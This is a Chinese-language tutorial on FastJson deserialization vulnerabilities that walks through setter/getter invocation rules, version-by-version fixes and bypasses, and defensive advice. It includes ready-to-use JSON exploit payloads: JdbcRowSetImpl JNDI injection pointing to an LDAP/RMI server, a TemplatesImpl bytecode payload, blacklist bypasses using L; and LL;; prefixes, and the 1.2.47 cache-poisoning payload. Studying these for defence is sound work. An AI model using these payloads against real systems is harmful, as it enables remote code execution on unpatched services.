JAVA反序列化—FastJson组件
字数 2017 2025-08-26 22:11:45

FastJson反序列化漏洞深度解析

一、FastJson组件基础

1. FastJson简介

FastJson是阿里巴巴开发的高性能JSON处理库,提供序列化和反序列化功能,主要API包括:

  • JSON.toJSONString(obj):序列化
  • JSON.parse():反序列化为JSONObject/JSONArray
  • JSON.parseObject("{...}"):解析为JSONObject
  • JSON.parseObject("{...}", VO.class):解析为指定类对象

2. 三种反序列化方式区别

  1. parse("")

    • 返回JSONObject类型
    • 调用目标类特定setter及部分getter方法
  2. parseObject("")

    • 返回JSONObject类型
    • 调用所有setter和getter方法(因包含toJSON操作)
  3. parseObject("", class)

    • 返回指定类对象
    • 调用目标类特定setter及部分getter方法

二、@type特性与漏洞原理

1. @type特性

  • 可指定反序列化的任意类
  • 自动调用类中属性的setter/getter方法

2. 方法调用规则

setter方法调用条件

  1. 方法名长度>4且以set开头,第4字母大写
  2. 非静态方法
  3. 返回void或当前类
  4. 参数个数为1个

getter方法调用条件

  1. 方法名长度≥4
  2. 非静态方法
  3. 以get开头且第4字母大写
  4. 无参数
  5. 返回值继承自Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong

3. 漏洞产生原因

  1. @type可加载任意类
  2. 自动调用符合条件的setter/getter方法
  3. 存在危险setter/getter方法的类可被利用

三、经典漏洞利用链分析

1. JdbcRowSetImpl JNDI注入链(<=1.2.24)

利用条件

  • JDK版本<1.8u191(允许JNDI注入)
  • 三种反序列化方式均可使用

利用链

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit",
    "autoCommit":true
}

原理

  1. 调用setDataSourceName()设置恶意LDAP/RMI地址
  2. 调用setAutoCommit()触发JNDI查找

2. TemplatesImpl利用链(<=1.2.24)

利用条件

  • JDK 1.7全版本通用
  • 必须使用Feature.SupportNonPublicField特性
    • JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
    • JSON.parse(text1,Feature.SupportNonPublicField)

恶意类要求

  1. _name != null
  2. _class == null
  3. _bytecodes != null(恶意类字节码)
  4. 恶意类必须是AbstractTranslet子类
  5. 恶意代码写在静态方法或构造方法中

Payload结构

{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":["恶意类base64"],
    "_name":"a.b",
    "_tfactory":{ },
    "_outputProperties":{ }
}

触发原理
通过_outputProperties字段触发getOutputProperties()方法

四、版本迭代与绕过

1. 1.2.25修复

引入黑白名单机制:

  • 默认AutoTypeSupport=false(白名单模式)
  • 黑名单包含com.sun.等危险类

2. 1.2.25-1.2.41绕过

条件AutoTypeSupport=true

绕过方式:使用Lcom.sun.rowset.RowSetImpl;格式

{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://...","autoCommit":true}

3. 1.2.42修复

  • 黑名单改为hash存储
  • 去除开头L和结尾;

4. 1.2.42绕过

方式:双写L;

{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://...","autoCommit":true}

5. 1.2.43修复

检测双写LL开头直接报错

6. 1.2.47通杀Payload

原理:利用TypeUtils.loadClass缓存机制污染mappings

Payload

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://...", 
        "autoCommit": true
    }
}

7. 1.2.48修复

修改loadClass默认cache=false,阻断缓存污染

五、漏洞挖掘思路

  1. 寻找危险setter/getter:分析常见类中符合调用条件的方法
  2. 利用链构造:结合JNDI、TemplatesImpl等已知利用链
  3. 绕过机制:研究黑白名单实现细节,寻找解析逻辑漏洞
  4. 新型利用链:关注新引入的第三方库中的危险类

六、防御建议

  1. 升级到最新版本FastJson
  2. 保持AutoTypeSupport=false(默认值)
  3. 严格限制反序列化的输入源
  4. 监控和更新黑名单

七、参考资源

  1. FastJson官方文档和GitHub仓库
  2. 各版本源码对比分析
  3. 已知漏洞利用PoC
  4. 安全研究人员分析文章

通过深入理解FastJson反序列化机制、版本迭代过程中的安全改进和绕过技术,可以有效防御相关漏洞并提高代码安全性。

FastJson反序列化漏洞深度解析 一、FastJson组件基础 1. FastJson简介 FastJson是阿里巴巴开发的高性能JSON处理库,提供序列化和反序列化功能,主要API包括: JSON.toJSONString(obj) :序列化 JSON.parse() :反序列化为JSONObject/JSONArray JSON.parseObject("{...}") :解析为JSONObject JSON.parseObject("{...}", VO.class) :解析为指定类对象 2. 三种反序列化方式区别 parse("") : 返回JSONObject类型 调用目标类特定setter及部分getter方法 parseObject("") : 返回JSONObject类型 调用所有setter和getter方法(因包含toJSON操作) parseObject("", class) : 返回指定类对象 调用目标类特定setter及部分getter方法 二、@type特性与漏洞原理 1. @type特性 可指定反序列化的任意类 自动调用类中属性的setter/getter方法 2. 方法调用规则 setter方法调用条件 : 方法名长度>4且以set开头,第4字母大写 非静态方法 返回void或当前类 参数个数为1个 getter方法调用条件 : 方法名长度≥4 非静态方法 以get开头且第4字母大写 无参数 返回值继承自Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong 3. 漏洞产生原因 @type可加载任意类 自动调用符合条件的setter/getter方法 存在危险setter/getter方法的类可被利用 三、经典漏洞利用链分析 1. JdbcRowSetImpl JNDI注入链( <=1.2.24) 利用条件 : JDK版本 <1.8u191(允许JNDI注入) 三种反序列化方式均可使用 利用链 : 原理 : 调用 setDataSourceName() 设置恶意LDAP/RMI地址 调用 setAutoCommit() 触发JNDI查找 2. TemplatesImpl利用链( <=1.2.24) 利用条件 : JDK 1.7全版本通用 必须使用 Feature.SupportNonPublicField 特性 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField) JSON.parse(text1,Feature.SupportNonPublicField) 恶意类要求 : _name != null _class == null _bytecodes != null(恶意类字节码) 恶意类必须是 AbstractTranslet 子类 恶意代码写在静态方法或构造方法中 Payload结构 : 触发原理 : 通过 _outputProperties 字段触发 getOutputProperties() 方法 四、版本迭代与绕过 1. 1.2.25修复 引入黑白名单机制: 默认 AutoTypeSupport=false (白名单模式) 黑名单包含 com.sun. 等危险类 2. 1.2.25-1.2.41绕过 条件 : AutoTypeSupport=true 绕过方式 :使用 Lcom.sun.rowset.RowSetImpl; 格式 3. 1.2.42修复 黑名单改为hash存储 去除开头 L 和结尾 ; 4. 1.2.42绕过 方式 :双写 L 和 ; 5. 1.2.43修复 检测双写 LL 开头直接报错 6. 1.2.47通杀Payload 原理 :利用 TypeUtils.loadClass 缓存机制污染mappings Payload : 7. 1.2.48修复 修改 loadClass 默认 cache=false ,阻断缓存污染 五、漏洞挖掘思路 寻找危险setter/getter :分析常见类中符合调用条件的方法 利用链构造 :结合JNDI、TemplatesImpl等已知利用链 绕过机制 :研究黑白名单实现细节,寻找解析逻辑漏洞 新型利用链 :关注新引入的第三方库中的危险类 六、防御建议 升级到最新版本FastJson 保持 AutoTypeSupport=false (默认值) 严格限制反序列化的输入源 监控和更新黑名单 七、参考资源 FastJson官方文档和GitHub仓库 各版本源码对比分析 已知漏洞利用PoC 安全研究人员分析文章 通过深入理解FastJson反序列化机制、版本迭代过程中的安全改进和绕过技术,可以有效防御相关漏洞并提高代码安全性。